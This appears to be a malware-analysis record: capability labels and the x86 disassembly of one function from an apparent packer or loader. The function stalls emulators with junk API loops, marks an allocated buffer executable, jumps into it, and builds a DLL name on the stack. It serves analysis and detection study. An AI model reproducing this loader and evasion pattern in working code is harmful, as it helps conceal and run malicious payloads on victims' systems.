Function at 0x80ba90
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x1870
call fcn.00410ad0
push ebx
mov ebx, dword [esp + 0x4c]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [esp + 0x18]
xor esi, esi
cmp esi, 0x1e1e2
jge 0x80babe
call ebp
cmp esi, 0x1e9b1d50
jle 0x80bad6
cmp edi, 0xc10c34
je 0x80bad6
cmp ebx, 0x9654ca0
jne 0x80badf
inc esi
cmp esi, 0x98f82
jl 0x80bab4
cmp dword [0xba93c0], 0xcf8
jne 0x80bb5d
push 0
push 0
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
push 0
push 0
push 0
call fcn.00406ba2
fldz
add esp, 4
fstp qword [esp]
call fcn.00406ee0
fstp st(0)
fldz
fstp qword [esp]
call fcn.00406c60
fstp st(0)
fldz
fstp qword [esp]
call fcn.00406db0
fstp st(0)
push 0
push 0
push 0
push 0x824690
call fcn.0040686a
push 0
call fcn.00406b72
add esp, 0x1c
push 0
push 0
call fcn.00406431
push 0
push 0
call fcn.00406464
add esp, 0x10
push 0
call fcn.00406b20
mov edi, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x80bb7e
mov eax, 0x5d1
add dword [0xba93c0], eax
cmp dword [0xba93c0], 3
jne 0x80bb9b
push 0
push 0
call edi
push 0
push 0
lea eax, [esp + 0x88]
push eax
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x80bb6b
mov ecx, dword [0xba93c0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x829424], eax
mov eax, dword [0xba93c0]
xor esi, esi
test eax, eax
je 0x80bc6b
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitW]
lea esp, [esp]
cmp eax, 0xfe
jne 0x80bc3a
push 0
call edi
call ebx
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
push edx
lea eax, [esp + 0x8c]
push eax
push edx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
call ebp
lea ecx, [esp + 0x20]
xor eax, eax
push ecx
lea edx, [esp + 0x50]
push edx
push 0x405f14
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call fcn.0080b640
mov eax, dword [0xba93c0]
cmp eax, 0x29
jne 0x80bc62
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0xba93c0]
inc esi
cmp esi, eax
jb 0x80bbe0
cmp eax, 0x70
jne 0x80bcf4
push 0
lea eax, [esp + 0x1084]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405f24
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0
push 0
lea ecx, [esp + 0x888]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea edx, [esp + 0x84]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x405f38
push 0x405f70
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0xba93c0]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 3
jne 0x80bd2e
lea eax, [esp + 0x80]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0xba93c0]
cmp eax, 0xdf
jne 0x80be62
push 0
push 0
push 0
call esi
push 0
call edi
xor ecx, ecx
lea eax, [esp + 0x3c]
push eax
push ecx
push ecx
lea edx, [esp + 0x88c]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call ebp
push 0x405f7c
push 0x405f8c
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x34]
push eax
push 0
lea ecx, [esp + 0x28]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea edx, [esp + 0x38]
push edx
push 0x405fb4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
mov dword [esp + 0x50], 0
push 0
lea eax, [esp + 0x58]
push eax
call fcn.00408d00
add esp, 0xc
push 0
lea ecx, [esp + 0x50]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0xba93c0]
dec dword [esp + 0x18]
jne 0x80bd14
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
lea ecx, [ecx]
push 0
call edi
push 0
call ebx
dec esi
jne 0x80be80
mov eax, dword [0xba93c0]
mov ecx, dword [0x829424]
lea edx, [esp + 0x1c]
push edx
push 0x40
push eax
push ecx
mov byte [0x824690], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080b8d0
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
jmp 0x80bec0
cmp dword [0xba93c0], 0xba
jne 0x80bed9
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x80beec
mov eax, 0
add dword [0x829424], eax
inc esi
cmp esi, 0x1605a
jl 0x80bec0
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, 0xf2b8b
cmp dword [0xba93c0], 0x21
jne 0x80bf0d
push 0
call esi
dec edi
jne 0x80bf00
mov eax, 0x73
mov ecx, 0x6d
mov word [0xba83d2], ax
mov word [0xba83d6], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0xba83da], dx
mov word [0xba83e6], cx
mov word [0xba83d8], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0xba83d0
mov dword [0xba83e0], 0x6c0064
mov word [0xba83d4], cx
mov word [0xba83d0], dx
mov word [0xba83e4], ax
mov dword [0xba83dc], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xba93c0], 0xc30
jne 0x80bfee
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_RaiseException]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret